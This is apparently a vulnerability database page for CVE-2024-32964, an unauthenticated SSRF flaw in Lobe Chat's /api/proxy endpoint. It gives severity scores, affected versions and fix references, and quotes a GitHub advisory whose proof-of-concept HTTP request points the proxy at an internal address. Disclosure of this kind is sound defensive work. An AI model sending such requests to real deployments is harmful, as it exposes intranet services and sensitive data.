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CVE-2024-32964

CRITICAL
Published 2024-05-10T14:49:31.019Z
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Expert Analysis

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CVSS Score

V3.1
9.0
/10
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H
Base Score Metrics
Exploitability: N/A Impact: N/A

EPSS Score

v2025.03.14
0.245
probability
of exploitation in the wild

There is a 24.5% chance that this vulnerability will be exploited in the wild within the next 30 days.

Updated: 2025-06-25
Exploit Probability
Percentile: 0.958
Higher than 95.8% of all CVEs

Attack Vector Metrics

Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
HIGH
User Interaction
NONE
Scope
CHANGED

Impact Metrics

Confidentiality
HIGH
Integrity
LOW
Availability
HIGH

Description

Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Prior to 0.150.6, lobe-chat had an unauthorized Server-Side Request Forgery vulnerability in the /api/proxy endpoint. An attacker can construct malicious requests to cause Server-Side Request Forgery without logging in, attack intranet services, and leak sensitive information.

Available Exploits

Lobe Chat <= v0.150.5 - Server-Side Request Forgery

Lobe Chat is a chatbot framework that supports speech synthesis, multimodal, and extensible Function Call plugin system. Prior to 0.150.6, lobe-chat had an unauthorized Server-Side Request Forgery vulnerability in the /api/proxy endpoint. An attacker can construct malicious requests to cause Server-Side Request Forgery without logging in, attack intranet services, and leak sensitive information.

ID: CVE-2024-32964
Author: s4e-io Critical

References:

Related News

No news articles found for this CVE.

Affected Products

lobehub

lobe-chat

Affected Versions:

<= 0.150.5
lobehub

lobe_chat

Affected Versions:

0

GitHub Security Advisories

Community-driven vulnerability intelligence from GitHub

✓ GitHub Reviewed CRITICAL

lobe-chat `/api/proxy` endpoint Server-Side Request Forgery vulnerability

GHSA-mxhq-xw3g-rphc

Advisory Details

### Summary The latest version of lobe-chat(by now v0.141.2) has an unauthorized ssrf vulnerability. An attacker can construct malicious requests to cause SSRF without logging in, attack intranet services, and leak sensitive information. ### Details * visit https://chat-preview.lobehub.com/settings/agent * you can attack all internal services by /api/proxy and get the echo in http response :) ![image](https://github.com/lobehub/lobe-chat/assets/55245002/c2894c34-7333-4ae1-864c-3b212b95eb21) ![image](https://github.com/lobehub/lobe-chat/assets/55245002/dd9ad696-7180-4700-8bff-1171a6a8ac91) ![image](https://github.com/lobehub/lobe-chat/assets/55245002/e2b97520-a6d5-4939-8313-46db8a1c4b75) ### PoC ```http POST /api/proxy HTTP/2 Host: xxxxxxxxxxxxxxxxx Cookie: LOBE_LOCALE=zh-CN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined; _ga=GA1.1.86608329.1711346216; _ga_63LP1TV70T=GS1.1.1711346215.1.1.1711346846.0.0.0 Content-Length: 23 Sec-Ch-Ua: "Google Chrome";v="123", "Not:A-Brand";v="8", "Chromium";v="123" Sec-Ch-Ua-Platform: "Windows" Sec-Ch-Ua-Mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: */* Origin: https://chat-preview.lobehub.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://chat-preview.lobehub.com/settings/agent Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7 http://172.23.0.1:8000/ ``` ### Impact SSRF ,All users will be impacted.

Affected Packages

npm @lobehub/chat
ECOSYSTEM: ≥0 <0.150.6

CVSS Scoring

CVSS Score

9.0

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:L/A:H

References

WEB https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc
ADVISORY https://nvd.nist.gov/vuln/detail/CVE-2024-32964
WEB https://github.com/lobehub/lobe-chat/commit/465665a735556669ee30446c7ea9049a20cc7c37
PACKAGE https://github.com/lobehub/lobe-chat

Advisory provided by GitHub Security Advisory Database. Published: May 10, 2024, Modified: May 14, 2024

References

https://github.com/lobehub/lobe-chat/security/advisories/GHSA-mxhq-xw3g-rphc
https://github.com/lobehub/lobe-chat/commit/465665a735556669ee30446c7ea9049a20cc7c37
Published: 2024-05-10T14:49:31.019Z
Last Modified: 2024-08-02T02:27:53.559Z
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